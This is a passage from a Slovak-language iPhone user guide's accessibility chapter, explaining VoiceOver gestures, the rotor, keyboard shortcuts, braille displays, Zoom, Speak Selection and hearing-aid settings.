tlačidlo Zvoniť/Ticho do polohy Ticho. Ak máte pripojenú externú klávesnicu, môžete stíšiť/
zrušiť stíšenie funkcie VoiceOver stlačením klávesu Control.
Nastavenie čítajúceho hlasu: Môžete upraviť špecifiká čítajúceho hlasu funkcie VoiceOver pre
jeho ľahšie pochopenie:
• Úprava hlasitosti rozprávania: Použite tlačidlá hlasitosti na iPhone. Hlasitosť môžete pridať aj
do rotora a potom ju upravovať potiahnutím nahor alebo nadol. Podrobnosti nájdete v téme
Používanie rotora VoiceOver na strane 124.
• Úprava rýchlosti rozprávania: Prejdite do Nastavenia > Všeobecné > Prístupnosť > VoiceOver
a potiahnite posuvník pre Rýchlosť rozprávania. Rýchlosť rozprávania môžete pridať aj do
rotora a potom ju upravovať potiahnutím nahor alebo nadol.
• Používanie zmien výšky: VoiceOver bude používať vyšší tón pri vyslovovaní prvej položky zo
skupiny (ako je zoznam alebo tabuľka) a nižší tón pri vyslovovaní poslednej položky. Prejdite
do Nastavenia > Všeobecné > Prístupnosť > VoiceOver > Meniť výšky.
• Zmena jazyka iPhonu: Prejdite do Nastavenia > Všeobecné > Medzinárodné > Jazyk.
Výslovnosť funkcie VoiceOver je pre niektoré jazyky ovplyvnená nastavením v položke
Nastavenia > Všeobecné > Medzinárodné > Formát regiónu.
• Zmena výslovnosti: Nastavte rotor na Jazyk a potom potiahnite prst smerom nahor alebo
nadol. Možnosť Jazyk je na rotore dostupná len ak ste vybrali viac ako jednu výslovnosť.
• Výber výslovností dostupných v jazykovom rotore: Prejdite do Nastavenia > Všeobecné >
Prístupnosť > VoiceOver > Jazykový rotor. Ak chcete zmeniť polohu jazyka v zozname,
potiahnite nahor alebo nadol.
• Zmena základného hlasu čítania: Prejdite do Nastavenia > Všeobecné > Prístupnosť >
VoiceOver > Použiť kompaktný hlas.
Používanie iPhonu pomocou funkcie VoiceOver
Odomknutie iPhonu: Zvoľte ovládací prvok odomknutia a klepnite dvakrát na obrazovku.
„Klepnutie“ pre aktiváciu danej položky: Dvakrát klepnite na ľubovoľné miesto na obrazovke.
„Dvojité klepnutie“ na označenú položku: Trikrát klepnite na ľubovoľné miesto na obrazovke.
Ovládanie posuvníkov: Zvoľte posuvník a následne potiahnite jeden prst nahor alebo nadol.
Používanie štandardných gest so zapnutou funkciou VoiceOver: Dvakrát klepnite prstom na
obrazovku a podržte ho tam. Séria tónov vás upozorní na to, že môžete používať štandardné
gestá. Štandardné gestá môžete používať až kým nezdvihnete prst z displeja – vtedy začnú
fungovať gestá funkcie VoiceOver.
Rolovanie v zozname alebo na obrazovke: Potiahnite nahor alebo nadol tri prsty. Ak posúvate
stránky zoznamu, funkcia VoiceOver vás bude informovať o rozsahu zobrazených položiek
(napríklad „Zobrazené sú riadky 5 až 10“).
• Plynulé rolovanie zoznamu: Klepnite dvakrát a podržte prst na displeji. Po tom, čo zaznie
séria tónov, môžete ťahaním prsta smerom nahor alebo nadol plynule rolovať v zozname.
Akonáhle zdvihnete prst z displeja, bude plynulé rolovanie ukončené.Kapitola 32 Prístupnosť 122
• Používanie registrov: V niektorých zoznamoch je na pravej strane zobrazený abecedný
register. Register nie je možné označiť prepínaním medzi jednotlivými položkami. Dá sa
označiť len priamym dotykom. V registri sa pohybujete potiahnutím prsta smerom nahor
alebo nadol. Môžete tiež klepnúť dvakrát a posúvať prst smerom nahor alebo nadol.
• Preusporiadanie zoznamu: Môžete zmeniť poradie položiek v niektorých zoznamoch ako
napríklad súčasti rotora a jazykového rotora v nastaveniach Prístupnosť. Vyberte v pravej
časti zoznamu, klepnite dvakrát a podržte prst na obrazovke, až kým nezaznie zvuk. Potom
potiahnite položku smerom nahor alebo nadol. VoiceOver prečíta názov položky nad alebo
pod presúvanou položkou, v závislosti od smeru, ktorým ju presúvate.
Úprava plochy: Na ploche označte ikonu, ktorú chcete presunúť. Klepnite dvakrát na ikonu
a podržte na nej prst. Potom ikonu potiahnite. VoiceOver vás počas presúvania ikony bude
informovať, v ktorom riadku a stĺpci sa nachádza. Ak sa ikona nachádza na želanom mieste
pustite ju. Môžete presúvať ďalšie ikony. Ak chcete položku presunúť na inú stránku plochy,
potiahnite ju k ľavému alebo pravému okraju obrazovky. Po dokončení úprav stlačte tlačidlo
Domov .
Prečítanie informácií o stave iPhonu: Ak si chcete vypočuť informácie o nabití batérie, sile
Wi-Fi signálu a ďalšie, klepnite na vrchnú časť obrazovky.
Prečítanie hlásení: Prejdite do Nastavenia > Všeobecné > Prístupnosť > VoiceOver a zapnite
možnosť Rozprávať hlásenia. Hlásenia, vrátane textu v prijatých správach, sú čítané okamžite
pri ich prijatí, dokonca aj keď je iPhone zamknutý. Hlásenia, na ktoré ste nereagovali, budú po
odomknutí iPhonu zopakované.
Zapnutie alebo vypnutie clony obrazovky: Klepnite štyrikrát troma prstami. Ak je clona
obrazovky zapnutá, je obsah obrazovky aktívny aj napriek tomu, že je displej vypnutý.
Gestá funkcie VoiceOver
Ak je funkcia VoiceOver zapnutá, štandardné dotykové gestá sa zmenia. Tieto gestá spolu
s niektorými ďalšími gestami vám umožňujú pohyb na obrazovke a ovládanie jednotlivých
položiek (položky, ktoré chcete ovládať, musia byť najprv označené). Gestá VoiceOver zahŕňajú
klepnutie a potiahnutie použitím dvoch alebo troch prstov. Gestá využívajúce dva a tri prsty
fungujú spoľahlivejšie, ak sa uvoľníte a ponecháte medzi prstami dostatočne veľké medzery.
Gestá funkcie VoiceOver je možné vykonávať použitím rôznych techník. Napríklad klepnutie
dvoma prstami môžete vykonať dvoma prstami jednej ruky alebo jedným prstom z každej
ruky. Môžete použiť aj palce. Množstvo užívateľov pokladá za obzvlášť efektívne gestá typu
„rozdelené klepnutie“: namiesto označenia položky a klepnutia dvakrát môžete klepnúť na
položku a podržať na nej jeden prst a potom klepnúť na obrazovku iným prstom. Vyskúšajte si
rôzne techniky a nájdite tú, s ktorou sa vám pracuje najlepšie.
Ak gestá nefungujú, skúste zrýchliť svoje pohyby. Platí to najmä pre gestá využívajúce
klepnutie dvakrát a potiahnutie prstov. Pre potiahnutie skúste rýchlo pošúchať displej prstom
resp. prstami. Po zapnutí funkcie VoiceOver sa zobrazí tlačidlo Precvičovanie VoiceOver, vďaka
ktorému si môžete pred pokračovaním precvičiť gestá funkcie VoiceOver.
Cvičenie gest funkcie VoiceOver: Prejdite do Nastavenia > Všeobecné > Prístupnosť >
VoiceOver a potom klepnite na Precvičovanie VoiceOver. Ak ste skončili s precvičovaním,
klepnite na Hotovo. Ak tlačidlo Precvičovanie VoiceOver nie je zobrazené, uistite sa, že je
funkcia VoiceOver zapnutá.Kapitola 32 Prístupnosť 123
Prehľad dôležitých gest VoiceOver:
Navigácia a čítanie
• Klepnutie: Prečítať položku.
• Potiahnutie prsta doprava alebo doľava: Vybrať nasledujúcu alebo predchádzajúcu položku.
• Potiahnutie prsta nahor alebo nadol: Závisí od nastavenia ovládania rotora. Viac v časti
Používanie rotora VoiceOver na strane 124.
• Klepnutie dvoma prstami: Zastaviť čítanie aktuálnej položky.
• Švihnutie nahor dvoma prstami: Čítať všetko od hornej časti obrazovky.
• Švihnutie nadol dvoma prstami: Čítať všetko od aktuálnej polohy kurzora.
• „Šúchanie“ dvoma prstami: Posuňte dva prsty dopredu a dozadu trikrát rýchlo po sebe
(opíšte „z“ ), ak chcete zrušiť pripomienku, alebo sa vrátiť na predošlú obrazovku.
• Potiahnutie troch prstov nahor alebo nadol: Rolovať po jednotlivých stranách.
• Potiahnutie troch prstov doprava alebo doľava: Prejsť na predošlú alebo ďalšiu stranu (ako
napríklad plocha, Akcie alebo Safari).
• Klepnutie troma prstami: Prerozprávať dodatočné informácie, ako je napríklad poloha v
zozname alebo či je vybraný text.
• Klepnutie štyrmi prstami vo vrchnej časti obrazovky: Označiť prvú položku na strane.
• Klepnutie štyrmi prstami v spodnej časti obrazovky: Označiť poslednú položku na strane.
Aktivácia
• Klepnutie dvakrát: Aktivovať označenú položku.
• Klepnutie trikrát: Klepnutie dvakrát na položku.
• Rozdelené klepnutie: Alternatívou k označeniu položky a klepnutiu dvakrát pre jej aktiváciu je
dotknúť sa jej jedným prstom a klepnúť na obrazovku iným prstom.
• Klepnutie dvakrát a podržanie (1 sekundu) + štandardné gesto: Použiť štandardné gesto.
Dvojitým klepnutím a následným podržaním prsta na displeji nariadite iPhonu, aby
nasledujúce gesto interpretoval ako štandardné. Napríklad ak klepnete dvakrát a podržíte
prst na displeji, môžete potom bez jeho zdvihnutia potiahnutím prepnúť prepínač.
• Klepnutie dvoma prstami dvakrát: Odpovedať na hovor alebo ho ukončiť. Prehrávať alebo
pozastaviť v aplikáciách Hudba, Videá, Diktafón alebo Fotky. Spraviť fotografiu v aplikácii
Kamera. Spustiť alebo zastaviť nahrávanie v aplikáciách Fotoaparát alebo Diktafón. Spustiť
alebo zastaviť stopky.
• Klepnutie dvakrát dvoma prstami a podržanie prstov na displeji: Zmeniť popis položky a
uľahčiť tak jej vyhľadávanie.
• Klepnutie trikrát dvoma prstami: Otvoriť Výber položky.
• Klepnutie trikrát tromi prstami: Stíšiť alebo zrušiť stíšenie funkcie VoiceOver.
• Štvorité klepnutie troma prstami: Zapnúť alebo vypnúť clonu obrazovky.Kapitola 32 Prístupnosť 124
Používanie rotora VoiceOver
Pomocou rotora si môžete vybrať, čo sa stane po potiahnutí nahor alebo nadol pri zapnutej
funkcii VoiceOver.
Ovládanie rotora: Otočte dva prsty na obrazovke zariadenia iPhone okolo bodu medzi nimi.
Zmena možností, ktoré sú zahrnuté v rotore: Prejdite do Nastavenia > Všeobecné >
Prístupnosť > VoiceOver > Rotor a vyberte možnosti, ktoré chcete zahrnúť do rotora.
Funkcia nastavenia rotora pritom závisí od toho, čo práve robíte. Napríklad ak čítate email,
môžete použiť rotor na výber (potiahnutím nahor alebo nadol) medzi vyslovovaním po
znakoch alebo po slovách. Pri prezeraní webovej stránky môžete nastaviť rotor na čítanie
celého textu (po slovách alebo po znakoch), alebo prechod z jedného typu položky (ako sú
napr. odkazy alebo hlavičky) na iný.
Zadávanie a upravovanie textu použitím funkcie VoiceOver
Ak vstúpite do upraviteľného textového poľa, môžete na zadávanie textu použiť dotykovú
klávesnicu alebo externú klávesnicu pripojenú k svojmu iPhonu.
Zadávanie textu: Označte textové pole, klepnite dvakrát pre zobrazenie kurzora a dotykovej
klávesnice a potom zadávajte znaky.
• Štandardné písanie: Potiahnutím do strán vyberte znak na klávesnici a zadajte ho klepnutím
dvakrát. Prípadne potiahnite prst po klávesnici, podržte ho na požadovanom klávese a
klepnite na obrazovku iným prstom. VoiceOver vysloví kláves pri jeho označení a aj pri
jeho zadaní.
• Dotykové písanie: Dotykom vyberte kláves na klávesnici a zdvihnutím prsta zadajte znak.
Ak sa dotknete nesprávneho klávesu, presuňte prst na požadovaný kláves a označte ho.
VoiceOver vysloví znak každého klávesu, ktorého sa dotknete, znak však zadá až po zdvihnutí
prsta. Dotykové písanie funguje len pre klávesy na zadávanie textu – v prípade ostatných
klávesov ako Shift, Delete a Return použite štandardný spôsob zadávania.
• Výber štandardného alebo dotykového písania: So zapnutou funkciou VoiceOver a klávesom
označeným na klávesnici vyberte v rotore možnosť Režim písania a potom potiahnite prst
smerom nahor alebo nadol.
Presúvanie kurzora: Potiahnutím nahor alebo nadol presúvate kurzor dopredu alebo dozadu
v texte. Pre výber presúvania kurzora po znakoch, slovách alebo po riadkoch použite rotor.
VoiceOver prehrá pri presune kurzora zvuk a vysloví znak, slovo alebo riadok, cez ktorý sa
kurzor posunul. Pri presúvaní smerom dopredu po slovách bude kurzor umiestnený na koniec
každého slova, pred medzeru alebo interpunkčné znamienko, ktoré za ním nasleduje. Pri
presúvaní smerom dozadu bude kurzor umiestnený na koniec predošlého slova, pred medzeru
alebo interpunkčné znamienko, ktoré za ním nasleduje.
Vloženie kurzora za interpunkčné znamienko na konci slova alebo vety: Použite rotor na
prepnutie späť na režim znakov.Kapitola 32 Prístupnosť 125
Pri presúvaní kurzora po riadkoch vyslovuje VoiceOver každý riadok, cez ktorý ho presuniete.
Pri presúvaní smerom dopredu bude kurzor umiestnený na začiatok nasledujúceho
riadku (s výnimkou posledného riadku odstavca, kedy bude kurzor umiestnený na koniec
vysloveného riadku). Pri presúvaní smerom dozadu bude kurzor umiestnený na začiatok
vyslovovaného riadku.
Zmena odozvy na písanie: Prejdite do Nastavenia > Všeobecné > Prístupnosť > VoiceOver >
Odozva písania.
Použitie fonetiky v odozve na písanie: Prejdite do Nastavenia > Všeobecné > Prístupnosť >
VoiceOver > Použiť fonetiku. Text bude čítaný po jednotlivých znakoch. VoiceOver najprv
prečíta znak a potom jeho fonetický ekvivalent — napríklad „f“ a potom „františek“.
Vymazanie znaku: Označte kláves a klepnite dvakrát, prípadne použite rozdelené
klepnutie. Tento postup musíte zachovať aj v prípade, že používate dotykové písanie. Ak chcete
naraz vymazať viacero znakov, podržte prst na klávese Delete (Vymazať) a potom ďalším
prstom klepnite na obrazovku jedenkrát pre každý znak, ktorý chcete vymazať. VoiceOver
vysloví znak počas jeho vymazávania. Ak máte zapnutú funkciu Meniť výšky, VoiceOver bude
vyslovovať vymazávané znaky nižším tónom.
Označenie textu: Nastavte rotor na Upraviť, potiahnutím nahor alebo nadol vyberte Označiť
alebo Označiť všetko a klepnite dvakrát. Ak vyberiete možnosť Označiť, bude označené slovo,
ktoré sa nachádza najbližšie pri kurzore pri klepnutí dvakrát. Ak vyberiete možnosť Označiť
všetko, bude označený celý text. Veľkosť výberu môžete meniť pomocou gesta rozovretia alebo
zovretia dvoch prstov.
Vystrihovanie, kopírovanie alebo vkladanie: Uistite sa, že je rotor nastavený na Upraviť. Ak
máte označený text, potiahnite prst nahor alebo nadol pre výber jednej z možností (Vystrihnúť,
Kopírovať alebo Vložiť) a potom klepnite dvakrát.
Odvolať: Zatraste iPhonom, potiahnutím prsta doprava alebo doľava vyberte akciu, ktorú
chcete odvolať a potom klepnite dvakrát.
Vloženie znaku s diakritikou: V štandardnom režime písania označte znak bez diakritiky,
klepnite dvakrát a podržte prst, až kým sa neprehrá zvuk, ktorý upozorňuje na zobrazenie
alternatívnych znakov. Potiahnite prst smerom doprava alebo doľava pre označenie a
vypočutie si vybraných znakov. Zdvihnutím prsta vložíte do textu vybraný znak.
Zmena jazyka klávesnice: Nastavte rotor na Jazyk a potom potiahnite prst smerom nahor
alebo nadol. Ak chcete použiť jazyk zvolený v Medzinárodných nastaveniach, vyberte možnosť
„Predvolený jazyk“. Jazykový rotor sa vám zobrazí len v prípade, že máte zvolený viac ako jeden
jazyk v Nastavenia > Všeobecné > Prístupnosť > VoiceOver > Jazykový rotor.
Vykonávanie telefónnych hovorov pomocou VoiceOver
Prijatie alebo ukončenie hovoru: Klepnite na obrazovku dvakrát dvomi prstami.
Ak nadviažete telefónny hovor a funkcia VoiceOver je zapnutá, na obrazovke sa namiesto
možností hovoru zobrazí numerická klávesnica.
Zobrazenie možností hovoru: Označte tlačidlo Skryť kláv. v pravom dolnom rohu a
klepnite dvakrát.
Opätovné zobrazenie numerickej klávesnice: Označte tlačidlo Klávesnica v blízkosti stredu
obrazovky a klepnite dvakrát.Kapitola 32 Prístupnosť 126
Používanie VoiceOver s aplikáciou Safari
Pri prehľadávaní webu v aplikácii Safari so zapnutou funkciou VoiceOver vám rotor s
výsledkami vyhľadávania umožní vypočuť si zoznam navrhovaných vyhľadávaných fráz.
Vyhľadávanie na webe: Vyberte vyhľadávacie pole, zadajte hľadaný termín a potom
potiahnutím prsta do strán prechádzajte zoznam navrhovaných termínov. Potom klepnutím
dvakrát na obrazovku vyhľadajte na webe požadovaný termín.
Nastavenie možností rotora pre prehliadanie internetu: Prejdite do Nastavenia >
Všeobecné > Prístupnosť > VoiceOver > Rotor. Klepnutím označte alebo odznačte možnosti,
prípadne potiahnite nahor pre zmenu poradia položiek.
Preskakovanie obrázkov počas navigácie: Prejdite do Nastavenia > Všeobecné >
Prístupnosť > VoiceOver > Navigovať v obrázkoch. Môžete sa rozhodnúť, či chcete preskakovať
všetky obrázky, alebo len tie bez popisov.
Odstránenie rušivých prvkov zo stránky pre jednoduchšie čítanie a navigáciu: V poli pre
adresu v Safari vyberte položku Čítačka (nie je dostupná pre všetky stránky).
Používanie VoiceOver s aplikáciou Mapy
VoiceOver môžete použiť na preskúmanie mapy, prechádzanie zaujímavých lokalít, sledovanie
ciest zväčšovanie alebo získanie informácií o lokalite.
Preskúmanie mapy: Ťahajte prst po obrazovke, prípadne sa presúvajte medzi položkami
potiahnutím to strán.
Zväčšovanie a zmenšovanie: Vyberte mapu, nastavte rotor na Zväčšovanie a potom
potiahnite jeden prst nahor alebo nadol.
Posúvanie mapy: Potiahnite tri prsty.
Prechádzanie zobrazených bodov záujmu: Nastavte rotor na Body záujmu a potom
potiahnite jeden prst nahor alebo nadol.
Sledovanie cesty: Podržte prs na ceste, počkajte, kým nezaznie „pozastaviť kvôli sledovaniu“
a potom ťahajte prst po ceste za asistencie tónu. Ak sa váš prst vzdiali od cesty, zosilnie
výška tónu.
Výber značky: Dotknite sa značky, prípadne potiahnutím do strán vyberte značku.
Získanie informácií o lokalite: Ak je vybraná značka, klepnutím dvakrát zobrazíte informácie.
Potiahnutím doprava alebo doľava označte tlačidlo Viac informácií a klepnutím dvakrát
zobrazte obrazovku s informáciami.
Čítanie názvov lokalít počas pohybu na mape: Zapnite sledovanie s kurzom pre čítanie mien
ulíc a záujmových bodov počas pohybu na mape.
Upravovanie videí a nahrávok pomocou funkcie VoiceOver
Gestá VoiceOver môžete použiť na orezanie videí natočených pomocou kamery a nahratých
hlasových nahrávok.
Orezanie nahrávky: Na obrazovke s nahrávkami označte tlačidlo vpravo od nahrávky, ktorú
chcete orezať a klepnite dvakrát. Označte možnosť Orezať a klepnite dvakrát. V nástroji na
orezávanie vyberte začiatok a koniec orezanej časti. Potiahnite nahor pre posunutie doprava
alebo nadol pre posunutie doľava. VoiceOver vás bude informovať o čase, ktorý bude orezaný
z nahrávky. Ak chcete dokončiť orezávanie nahrávky, označte tlačidlo Orezať nahrávku a
klepnite dvakrát.Kapitola 32 Prístupnosť 127
Skrátenie videa: Počas prehrávania videa v aplikácii Fotky klepnite dvakrát na obrazovku pre
zobrazenie ovládacích prvkov videa a potom vyberte počiatočný alebo koncový bod nástroja
na orezanie. Potiahnutím nahor ťaháte okraje označeného výberu doprava a potiahnutím
nadol doľava. VoiceOver vás bude informovať o čase, ktorý bude orezaný z nahrávky. Ak chcete
dokončiť orezávanie, označte možnosť Orezať a klepnite dvakrát.
Ovládanie funkcie VoiceOver pomocou bezdrôtovej Apple klávesnice
VoiceOver môžete ovládať pomocou bezdrôtovej Apple klávesnice spárovanej s iPhonom. Viac
v časti Bezdrôtová Apple klávesnica na strane 27.
Pomocou klávesových príkazov VoiceOver sa môžete pohybovať po obrazovke, vyberať
položky, čítať obsah obrazovky, upraviť rotor a vykonávať ďalšie úkony funkcie VoiceOver.
Všetky klávesové príkazy (s výnimkou jedného) zahŕňajú použitie klávesov Control-Option.
Tieto sú v tabuľke označené ako „VO“.
Pomocník VoiceOver vyslovuje počas písania klávesy alebo klávesové príkazy. Prostredníctvom
pomocníka VoiceOver sa môžete zoznámiť s rozložením klávesnice a úkonmi priradenými ku
klávesovým kombináciám.
Klávesové príkazy funkcie VoiceOver
VO = Control-Option
• Čítať všetko počnúc aktuálnou polohou kurzora: VO–A
• Čítať od vrchu: VO–B
• Presun na stavový riadok: VO–M
• Stlačenie tlačidla Domov: VO–H
• Výber ďalšej alebo predošlej položky: VO–šípka vpravo alebo VO–šípka vľavo
• Klepnutie na položku: VO–medzerník
• Klepnutie dvakrát dvomi prstami: VO–„-“
• Výber ďalšej alebo predchádzajúcej položky rotora: VO–šípka nahor alebo VO–šípka nadol
• Výber ďalšej alebo predchádzajúcej položky rečového rotora: VO–Command–šípka vpravo
alebo VO–Command–šípka vľavo
• Úprava položky rečového rotora: VO–Command–šípka nahor alebo VO–Command–šípka
nadol
• Stíšenie alebo zrušenie stíšenia funkcie VoiceOver: VO–S
• Zapnutie alebo vypnutie clony obrazovky: VO–Shift-S
• Zapnutie Pomocníka VoiceOver: VO–K
• Návrat na predchádzajúcu obrazovku alebo vypnutie pomocníka VoiceOver: Escape (ESC)
Rýchla navigácia
Ak zapnete funkciu Rýchla navigácia, môžete ovládať funkciu VoiceOver pomocou kláves šípok.
• Zapnutie alebo vypnutie rýchlej navigácie: Šípka vľavo-šípka vpravo
• Výber ďalšej alebo predošlej položky: Šípka vpravo alebo šípka vľavo
• Výber ďalšej alebo predchádzajúcej položky rotora: Šípka nahor alebo šípka nadol
• Výber prvej alebo poslednej položky: Control–šípka nahor alebo Control–šípka nadol
• „Klepnutie“ na položku: Šípka nahor-šípka nadol
• Rolovanie nahor, nadol, doľava alebo doprava: Option–šípka nahor, Option–šípka nadol,
Option–šípka vľavo, or Option–šípka vpravo
• Zmena rotora: Šípka nahor–šípka vľavo alebo Šípka nahor–šípka vpravoKapitola 32 Prístupnosť 128
Klávesy s číslicami na bezdrôtovej Apple klávesnici môžete použiť aj na vytáčanie telefónnych
čísiel v aplikácii Telefón, alebo na zadávanie číslic v aplikácii Kalkulačka.
Rýchla navigácia na webe pomocou jedného písmena
Pri prezeraní webových stránok so zapnutou funkciou Rýchla navigácia sa môžete rýchlo
pohybovať na stránke použitím nasledujúcich kláves: Stlačením klávesu presuniete kurzor
na nasledujúcu položku daného typu. Ak chcete prejsť na predchádzajúcu položku, podržte
zároveň stlačený kláves Shift.
• Hlavičky: H
• Odkaz: L
• Textové pole: R
• Tlačidlo: B
• Ovládanie formulárov: C
• Obrázok: I
• Tabuľka: T
• Statický text: S
• Orientačný bod ARIA: W
• Zoznam: X
• Položka rovnakého typu: M
• Nadpis úrovne 1: 1
• Nadpis úrovne 2: 2
• Nadpis úrovne 3: 3
• Nadpis úrovne 4: 4
• Nadpis úrovne 5: 5
• Nadpis úrovne 6: 6
Použitie braillovho displeja s funkciou VoiceOver
Na prečítanie výstupu funkcie VoiceOver v braillovom písme môžete použiť braillov
displej s technológiou Bluetooth a možnosťou obnovenia. Tento displej môžete
použiť so vstupnými klávesmi a inými prvkami na ovládanie zariadenia iPhone v
prípade, že funkcia VoiceOver je zapnutá. iPhone pracuje s mnohými bezdrôtovými
braillovými displejmi. Zoznam podporovaných displejov nájdete na adrese
www.apple.com/accessibility/iphone/braille-display.html.
Nastavenie braillovho displeja: Zapnite displej a potom prejdite do Nastavenia > Bluetooth
a zapnite Bluetooth. Potom prejdite do Nastavenia > Všeobecné > Prístupnosť > VoiceOver >
Slepecké písmo a vyberte displej.
Vypínanie a zapínanie skratkopisu alebo 8-bodového slepeckého písma: Prejdite do
Nastavenia > Všeobecné > Prístupnosť > VoiceOver > Slepecké písmo.
Informácie o bežných braillových príkazoch pre navigáciu funkcie VoiceOver a ďalšie špecifické
informácie pre určité displeje nájdete na adrese support.apple.com/kb/HT4400.
Braillov displej používa jazyk nastavený pre Ovládanie hlasom. Štandardne je to jazyk
nastavený pre iPhone v Nastavenia > Medzinárodné > Jazyk. V nastavení jazyka funkcie
VoiceOver môžete nastaviť iný jazyk pre funkciu VoiceOver a pre braillov displej.
Nastavenie jazyka VoiceOver: Prejdite do Nastavenia > Všeobecné > Medzinárodné >
Ovládanie hlasom a potom vyberte jazyk.Kapitola 32 Prístupnosť 129
Ak zmeníte jazyk pre iPhone, budete zrejme musieť znovu nastaviť jazyk pre funkciu VoiceOver
a pre braillov displej.
Krajné bunky braillovho displeja môžete nastaviť tak, že budú zobrazovať stav systému alebo
ďalšie informácie:
• História oznamov obsahuje neprečítanú správu
• Aktuálna správa histórie oznamov zatiaľ nebola prečítaná
• Rozprávanie funkcie VoiceOver je stíšené
• Batéria iPhonu je takmer vybitá (kapacita je nižšia ako 20 %)
• iPhone je orientovaný na šírku
• Obrazovka je vypnutá
• Aktuálny riadok obsahuje ďalší text vľavo
• Aktuálny riadok obsahuje ďalší text vpravo
Nastavenie krajných buniek na zobrazovanie stavových informácií: Prejdite do Nastavenia >
Všeobecné > Prístupnosť > Slepecké písmo > Stavová bunka a klepnite na Vľavo alebo Vpravo.
Zobrazenie rozšíreného popisu stavovej bunky: Na vašom braillovom displeji stlačte tlačidlo
smerovača stavovej bunky.
Presmerovanie zvuku prichádzajúcich hovorov
Zvuk prichádzajúcich hovorov môžete automaticky presmerovať zo slúchadla iPhonu do
náhlavnej sady alebo reproduktora.
Presmerovanie zvuku prichádzajúcich hovorov: Prejdite do Nastavenia > Všeobecné >
Prístupnosť > Prichádzajúce hovory a vyberte výstup pre prichádzajúce hovory.
Siri
Pomocou Siri môžete vykonávať úlohy (napríklad otvárať aplikácie) tak, že jednoducho poviete,
čo chcete spraviť. VoiceOver zároveň môže čítať odpovede Siri určené pre vás. Viac v časti
kapitola 4, Siri, na strane 39.
Trojité stlačenie tlačidla Domov
Trojité stlačenie tlačidla Domov vám umožňuje zapínať a vypínať niektoré funkcie Prístupnosti
stlačením tlačidla Domov trikrát rýchlo po sebe. Trojité stlačenie tlačidla Domov môžete
použiť pre:
• VoiceOver
• Prevrátenie farieb
• Zväčšovanie
• AssistiveTouch
• Ovládanie načúvacieho prístroja
• Asistovaný prístup (trojité stlačenie spustí Asistovaný prístup len ak je zapnutý Viac v časti
Asistovaný prístup na strane 132.
Nastavenie trojitého stlačenia tlačidla Domov: Prejdite do Nastavenia > Všeobecné >
Prístupnosť > Trojité stlačenie Domov. Ak ste vybrali viac ako jednu funkciu, budete po každom
trojitom stlačení požiadaný o výber funkcie, ktorú chcete použiť.Kapitola 32 Prístupnosť 130
Spomalenie rýchlosti stláčania: Prejdite do Nastavenia > Všeobecné > Prístupnosť > Rýchlosť
stlačenia tlačidla.
Zväčšovanie
Množstvo aplikácií vám umožňuje zväčšovať a zmenšovať vybrané položky na obrazovke.
Napríklad v Safari môžete klepnutím dvakrát alebo použitím dvoch prstov zväčšovať časti
webových stránok. Je tu však aj funkcia prístupnosti Zväčšovanie, pomocou ktorej môžete
zväčšiť celú obrazovku počas používania ľubovoľnej aplikácie. Zväčšovanie môžete používať
súčasne s funkciou VoiceOver.
Zapnutie funkcie Zväčšovanie: Prejdite do Nastavenia > Všeobecné > Prístupnosť >
Zväčšovanie. Prípadne použite funkciu Trojité stlačenie Domov. Viac v časti Trojité stlačenie
tlačidla Domov na strane 129.
Zväčšovanie a zmenšovanie: Klepnite na obrazovku dvakrát troma prstami.
Zmena úrovne zväčšenia: Klepnite na obrazovku troma prstami a potiahnite ich nahor alebo
nadol. Toto gesto sa podobá na klepnutie dvakrát, avšak po druhom klepnutí nezdvihnete
prsty, ale potiahnete ich po obrazovke. Po začatí ťahania môžete pokračovať v ťahaní už len
jedným prstom. iPhone sa po opätovnom zväčšení alebo zmenšení pomocou gesta dvojtého
klepnutia pomocou troch prstov vráti späť na nastavenú úroveň zväčšenia.
Pohyb po obrazovke: Počas zväčšenia potiahnite obrazovku troma prstami. Akonáhle začnete
ťahať, môžete používať už len jeden prst, takže vidíte väčšiu časť obrazovky. Prípadne podržte
prst v blízkosti okraja obrazovky pre pohyb do daného smeru. Čím bližšie sa váš prst nachádza
pri okraji obrazovky, tým je pohyb rýchlejší. Po otvorení novej obrazovky sa zväčšenie presunie
do hornej a strednej časti obrazovky.
Ak používate Zväčšovanie s bezdrôtovou Apple klávesnicou (viac v časti Bezdrôtová Apple
klávesnica na strane 27), pohybuje sa zväčšená časť obrazovky spolu s kurzorom tak, že sa
tento neustále nachádza v jej strede.
Veľký text
Funkcia Veľký text vám umožňuje zväčšiť text v pripomienkach a aplikáciách Kalendár,
Kontakty, Mail, Správy a Poznámky.
Nastavenie veľkosti textu: Prejdite do Nastavenia > Všeobecné > Prístupnosť > Veľký text.
Prevrátenie farieb
V niektorých prípadoch môže prevrátenie farieb na obrazovke iPhonu zjednodušiť čítanie
textu. Ak je funkcia Prevrátenie farieb zapnutá, obrazovka vyzerá ako fotografický negatív.
Obrátenie farieb obrazovky: Prejdite do Nastavenia > Všeobecné > Prístupnosť >
Prevrátiť farby.
Rozprávať výber
Aj keď je funkcia VoiceOver vypnutá, môžete nastaviť iPhone tak, nahlas čítal označený
text. iPhone najprv analyzuje text kvôli identifikácii jazyka a potom ho prečíta so
správnou výslovnosťou.
Zapnutie funkcie Rozprávať výber: Prejdite do Nastavenia > Všeobecné > Prístupnosť >
Rozprávať výber. Môžete tiež:Kapitola 32 Prístupnosť 131
• Upraviť rýchlosť rozprávania
• Vybrať zvýrazňovanie jednotlivých slov počas čítania
Prečítanie textu: Označte text a klepnite na Rozprávať.
Funkcia Rozprávať autotext
Funkcia Rozprávať autotext číta počas písania na klávesnici iPhonu navrhované slová a opravy.
Zapnutie a vypnutie funkcie Rozprávať autotext: Prejdite do Nastavenia > Všeobecné >
Prístupnosť > Rozprávať autotext.
Funkciu Rozprávať auto text je možné používať súčasne s funkciami VoiceOver a Zväčšovanie.
Mono zvuk
Mono zvuk kombinuje ľavý a pravý stereo kanál do mono signálu, ktorý je potom prehrávaný
v oboch kanáloch. Vyváženie mono signálu môžete pre dosiahnutie vyššej hlasitosti vpravo
alebo vľavo upraviť.
Zapnutie a vypnutie funkcie Mono zvuk a úprava vyváženia zvuku: Prejdite do Nastavenia >
Všeobecné > Prístupnosť > Mono zvuk.
Načúvacie prístroje
Načúvacie prístroje určené na používanie s iPhonom
Ak máte načúvací prístroj určený na používanie s iPhonom (bývajú označené logom „Made for
iPhone“ a sú dostupné pre iPhone 4S alebo novšie modely), môžete upraviť jeho nastavenia
priamo na iPhone.
Úprava nastavení načúvacieho prístroja: Prejdite do Nastavenia > Všeobecné > Prístupnosť >
Načúvacie prístroje alebo nastavte trojité stlačenie tlačidla Domov na otváranie ovládania
